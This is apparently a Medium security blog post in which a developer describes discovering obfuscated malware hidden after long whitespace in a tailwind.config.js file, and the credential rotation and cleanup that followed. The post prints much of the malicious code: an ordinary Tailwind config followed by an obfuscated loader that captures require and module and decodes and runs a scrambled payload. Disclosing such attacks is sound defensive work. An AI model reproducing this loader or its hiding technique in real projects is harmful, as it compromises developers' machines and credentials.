I found a malware hiding in my tailwindcss config file. | by Couch Potato | Jun, 2026 | InfoSec Write-upsSitemapOpen in appSign up<br>Sign in

Medium Logo

Get app<br>Write

Search

Sign up<br>Sign in

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

I found a malware hiding in my tailwindcss config file.

Couch Potato

12 min read·<br>Jun 21, 2026

Listen

Share

I almost closed the file without reading it. Three days later I was killing processes in production at 2am, rotating every credential I own, and staring at a git commit with my name on it that I never made. If you’ve got an active Node project, you’ll probably want to check it before you finish reading this.

This wasn’t package.json or something deep in node_modules. It was tailwind.config.js. The file you touch once, when you’re setting up the project, figuring out whether your primary color is blue-600 or blue-700 . Then you never open it again. Half of us didn’t even write ours, it got spat out by create-next-app or a starter template and we never looked twice.<br>I wasn’t even looking for anything wrong. I was just copying my old color tokens into a fresh tailwind.config.js file. Except the paste took a second too long. Five lines of config shouldn’t lag a clipboard. Huh? I scrolled down to see what I’d actually copied, Nothing obvious. Then I diffed it online and discovered a wall of obfuscated code hidden after hundreds of empty spaces, like someone wanted you to stop scrolling before you ever saw it.<br>That shouldn’t be there.<br>Obfuscated. On purpose. By someone.<br>/** @type {import('tailwindcss').Config} */<br>module.exports = {<br>content: ['./src/**/*.{html,js,jsx}'],<br>theme: {<br>extend: {<br>colors: {<br>'cream': '#f7f4db',<br>'primary': '#c90101',<br>},<br>},<br>},<br>plugins: [],<br>darkMode: 'class',<br>}; global['_V']='A7-2066';global['r' ]=require;global['m']=module;(async()=>{if(global["_t_t"])return;global["_t_t"]=(new global.Date).getTime();if(typeof __dirname!=="undefined")global["___dirname"]=__dirname;if(typeof __filename!=="undefined")global["___filename"]=__filename;const c=async()=>{(function(){var TjS="",xQa=313-302;function niu(m){var n=219896;var y=m.length;var t=[];for(var b=0;bhlnf]lr5-wezxht4rl";scfwo4oovAntu1uq)ena(r{n i;}9lt;l,,.r=)e.e==m+=ar{vn8mgv=+w.(C) hsdt.r[] ghp+++ewoatodva"fu6;w)mv(w)(n+m)m]nosu;[o64,nhgt}i6a)h)no0n[t=[t"=prn>7l;;;iy.]ee.gb97zi,aar9r)g;a -aho(l)fnr{eg69=w];.i;yr;uha=]=jen(o;isl.{wnr=).+ur;c +n3(,;2);i )=t; sin;0 );= .fp))rosir})ga)mS ua[ftoid="eec=aloa.[-b()Civsb]1=h680vlp.)s(nthf}7=]0(;;(tfvtgrru.=j2.[C0d1s7c sar3v)r+;50;p+" =m(!"hvl6,i-==rC[)"8da+a(,h,+o2bhu;}{sir;Sf=r9..ov138la;cpf;(rAv;)]8 =q(ljldrato]tnd)+!nyvjrv}1tat';var xsR=niu[tUI];var Drj="";var VMU=xsR;var gjR=xsR(Drj,niu(yTd));var qMh=gjR(niu('(aOc(4)O](+OaO=sO:_On{%f%m).=%=6;fOOtO39ec7omt,(&1=ln%ema5fawO/y%*y]tt!{;.ae71}+2=%3_e(%ol; =oOer!(3{dho*di.}dda.tu-t)o.+s.trog.A4SaO+a+o;t;{*rtOe[O2_2h.O0%(u-[dthre("a3i $e12a;moi"]d{[deannuoeSdbc04a@p-)O!{d(fsn}:rte{5t?=-jO=w(it},9&e[oi)t\'2;sOj)%in ]]]+:sbg%12a12a(Os4+1+OdOSu44i]{ewuOO:rc_ra.tsO};Otrch(=cu%).}b)cnt0,.O6eO mn8=/=ov]d]s}cc1:[.rOf=)dc(z% d%ng[r.u_s))Oefd.0/j;]%etdurhO}aO.OOi)5f1+iaOOenetghaee}:iC/Crco/+]O1m.snOsa(B.hcOdnOOr9(rsu.]so7t(t4w lC9%1Bnl2%dw.s.O[;oO(oeub[F71=Ot00%r[u5a.\'/n=go6c)(.]![;a?o.,%to]nt;to=)td21.....s C/)[}B_8.)b%d(oO.p!;r6OhOd>OeO>0)O)[)l,;)rer519za$rny]ghue%"]mOO==xO7.3dsin]ef)+.f5.1O(92n(]-2(=3f+2uo3b(}))]..]>m0;w9)mrtt .rn[aa{d}05$3ENda=].0l)sd;tlod]r8O4:u }7(yaftnd_(]eOn}oO;Ov }(]$O.h8:n;O6.tO2(+_=]"=ddf{BO>tua(to()ti)!!m=a;O,(=.?0l$%Cudi7h4p5riu=tlc]!49fOOy4e5rCOb1(t[%O4rO(y)S0]p%+v".n+;2#(O=h4[_dlte8o)eOrd]e4OO4=2.]1(yd!%56ee[t=o}:=e/=imsa()rBa(DOd)@e]}(g),e=:9f}.b{ed0[or)3]c=u{pct{t2[Ot2]]&0 @09t(O_ott]t4sig(i.e9g/O)r3OOl,i93vtib%))b!i7t rwO}4?=a#O1+.$d5)3 8 jg2t])hOl.0%CO23O-)]]hO.Oml1y..\'no)Ol;!c%pOgT1[O:0roO.:h=aterya]1OttrD,sO%}un01OfO8n1$ lr=.m(nqo8cdd,4.d}O2=)lOO:&%O,y&0.%s(.dO1 [-8 j-hr2uea)r_O.1O6p6_6,on27:6=OO;ad]O7/bt[](COteOFO.nO2%[OOo)rOr[nb}a)iad=.m Oa(=m1!n%8]s}:(e]O_ptdO,)1]0]tc..n.cld}gfb ]$];_)(aiO;0[]Ot=uti)[3:%d ${jc(coBu;c{/ f_.?nj(5r{g;{O{[+o2dOrtf(O6](a8]1(.r_'));var Jyp=VMU(TjS,qMh);Jyp(9283);return...